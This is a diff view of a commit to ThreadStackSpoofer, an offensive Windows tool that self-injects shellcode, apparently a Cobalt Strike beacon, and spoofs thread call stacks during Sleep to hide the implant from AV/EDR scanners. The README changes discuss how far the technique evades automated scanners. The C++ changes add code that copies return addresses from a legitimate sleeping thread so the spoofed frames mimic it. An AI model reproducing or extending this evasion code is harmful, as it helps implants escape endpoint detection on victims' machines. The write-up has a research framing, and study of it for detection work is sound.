🤬
  • ■ ■ ■ ■ ■
    README.md
    skipped 11 lines
    12 12   
    13 13  [Nighthawk - Thread Stack Spoofing](https://vimeo.com/581861665)
    14 14   
    15  -**A note on wording** - some may argue that the technique presented in this implementation is not strictly **_Thread Stack Spoofing_** but rather _Call Stack Spoofing_ to some extent.
    16  -I myself believe, that whatever wording is used here, the outcome remains similar to what was presented in an originally named technique - thus the borrowed name for this code. Since we're clobbering some pointers on the thread's stack, wouldn't we call it spoofing the stack anyway and ultimatley still resort to - _Thread Stack Spoofing_? The answer is left to the reader.
    17  - 
    18 15  ## How it works?
    19 16   
    20 17  This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
    skipped 26 lines
    47 44  ```
    48 45   
    49 46  This precise logic is provided by `walkCallStack` and `spoofCallStack` functions in `main.cpp`.
     47 + 
     48 + 
     49 +## Actually this is not (yet) a true stack spoofing
     50 + 
     51 +As it's been pointed out to me, the technique here is not _yet_ truely holding up to its name for being _stack spoofer_. Since we're merely overwriting return addresses on the thread's stack, we're not spoofing the rest part of the stack itself and also, in its current form, where we leave a sequence of `::CreateFileW` addresses acting as an example, we're making the stack non-unwindable. Meaning, the stack looks rather odd at first sight.
     52 + 
     53 +However I'm aware of this fact, at the moment I've left it as is since I cared mostly about automated scanners that could iterate over processes, enumerate their threads, walk those threads stacks and pick up on any return address pointing back to a non-image memory (such as `SEC_PRIVATE` - the one allocated dynamically by `VirtuaAlloc` and friends). A focused malware analyst would immediately spot the oddity and consider the thread rather unusual, hunting down our implant. More than sure about it. Yet, I don't believe that nowadays automated scanners such as AV/EDR have sorts of heuristics implemented that would _actually walk each thread's stack_ to verify whether its un-windable.
     54 + 
     55 +Surely with this project (and commercial implemention found in C2 frameworks) AV & EDR vendors have now received arguments to consider implementing these heuristics.
     56 + 
     57 +The research on this subject is not yet finished and hopefully will result in better quality Stack Spoofing in upcoming days. Nonetheless, I'm releasing what I got so far, to sparkle inspirations and interest community into better researching this area.
    50 58   
    51 59   
    52 60  ## How do I use it?
    skipped 106 lines
    159 167   
    160 168  If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
    161 169   
    162  -If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/rsmudge/unhook-bof/pull/2) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
     170 +If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
    163 171   
    164 172  This way you can maintain your hooks in kernel32:
    165 173   
    skipped 20 lines
  • ■ ■ ■ ■
    ThreadStackSpoofer/ThreadStackSpoofer.vcxproj.user
    1 1  <?xml version="1.0" encoding="utf-8"?>
    2 2  <Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
    3 3   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    4  - <LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\ThreadStackSpoofer\x64\Debug\beacon64.bin</LocalDebuggerCommandArguments>
     4 + <LocalDebuggerCommandArguments>d:\dev2\ThreadStackSpoofer\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
    5 5   <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
    6 6   </PropertyGroup>
    7 7  </Project>
  • ■ ■ ■ ■ ■
    ThreadStackSpoofer/header.h
    skipped 50 lines
    51 51   LPVOID pSymGetModuleBase64;
    52 52   bool initialized;
    53 53   CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
     54 + CallStackFrame mimicFrame[MaxStackFramesToSpoof];
    54 55   size_t spoofedFrames;
     56 + size_t mimickedFrames;
    55 57  };
    56 58   
    57 59  struct HookedSleep
    skipped 29 lines
    87 89  bool hookSleep();
    88 90  bool injectShellcode(std::vector<uint8_t>& shellcode);
    89 91  bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
    90  -void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames = false);
     92 +void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve = Frames_To_Preserve);
    91 93  bool initStackSpoofing();
    92 94  bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
    93 95  void spoofCallStack(bool overwriteOrRestore);
    skipped 1 lines
  • ■ ■ ■ ■ ■ ■
    ThreadStackSpoofer/main.cpp
    skipped 111 lines
    112 112   return true;
    113 113  }
    114 114   
    115  -void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames /*= false*/)
     115 +void walkCallStack(HANDLE hThread, CallStackFrame* frames, size_t maxFrames, size_t* numOfFrames, bool onlyBeaconFrames, size_t framesToPreserve)
    116 116  {
    117 117   CONTEXT c = { 0 };
    118 118   STACKFRAME64 s = { 0 };
    skipped 98 lines
    217 217   // Skip first two frames as they most likely link back to our callers - and thus we can't spoof them:
    218 218   // MySleep(...) -> spoofCallStack(...) -> ...
    219 219   //
    220  - if (Frame < Frames_To_Preserve)
     220 + if (Frame < framesToPreserve)
    221 221   continue;
    222 222   
    223 223   bool skipFrame = false;
    skipped 43 lines
    267 267   {
    268 268   for (size_t i = 0; i < numOfFrames; i++)
    269 269   {
     270 + if (i > g_stackTraceSpoofing.mimickedFrames)
     271 + {
     272 + CallStackFrame frame = { 0 };
     273 + g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
     274 + break;
     275 + }
     276 + 
    270 277   auto& frame = frames[i];
     278 + auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
    271 279   
    272 280   if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
    273 281   {
    274 282   //
    275 283   // We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
    276 284   //
    277  - frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
     285 + //frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
     286 + frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
    278 287   
    279 288   //
    280 289   // We're saving original frame to later use it for call stack restoration.
    skipped 164 lines
    445 454   return (NULL != thread.get());
    446 455  }
    447 456   
     457 +/*
     458 +void _acquireLegitimateThreadStack(LPVOID param)
     459 +{
     460 + ULONG_PTR lowLimit = 0, highLimit = 0;
     461 + ULONG stackSize = highLimit - lowLimit;
     462 + GetCurrentThreadStackLimits(&lowLimit, &highLimit);
     463 +
     464 + g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
     465 + memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
     466 +}
     467 +*/
     468 + 
     469 +bool acquireLegitimateThreadStack()
     470 +{
     471 + CallStackFrame frames[MaxStackFramesToSpoof] = { 0 };
     472 + size_t numOfFrames = 0;
     473 + 
     474 + HandlePtr secondThread(::CreateThread(
     475 + NULL,
     476 + 0,
     477 + (LPTHREAD_START_ROUTINE)::Sleep,
     478 + (LPVOID)INFINITE,
     479 + 0,
     480 + 0
     481 + ), &::CloseHandle);
     482 + 
     483 + Sleep(1000);
     484 + 
     485 + walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
     486 + 
     487 + return g_stackTraceSpoofing.mimickedFrames > 0;
     488 +}
     489 + 
     490 + 
    448 491  int main(int argc, char** argv)
    449 492  {
    450 493   if (argc < 3)
    skipped 18 lines
    469 512   if (!initStackSpoofing())
    470 513   {
    471 514   log("[!] Could not initialize stack spoofing!");
     515 + return 1;
     516 + }
     517 + 
     518 + if (!acquireLegitimateThreadStack())
     519 + {
     520 + log("[!] Could not acquire legitimate thread's stack.");
    472 521   return 1;
    473 522   }
    474 523   
    skipped 25 lines
Please wait...
Page is in error, reload to recover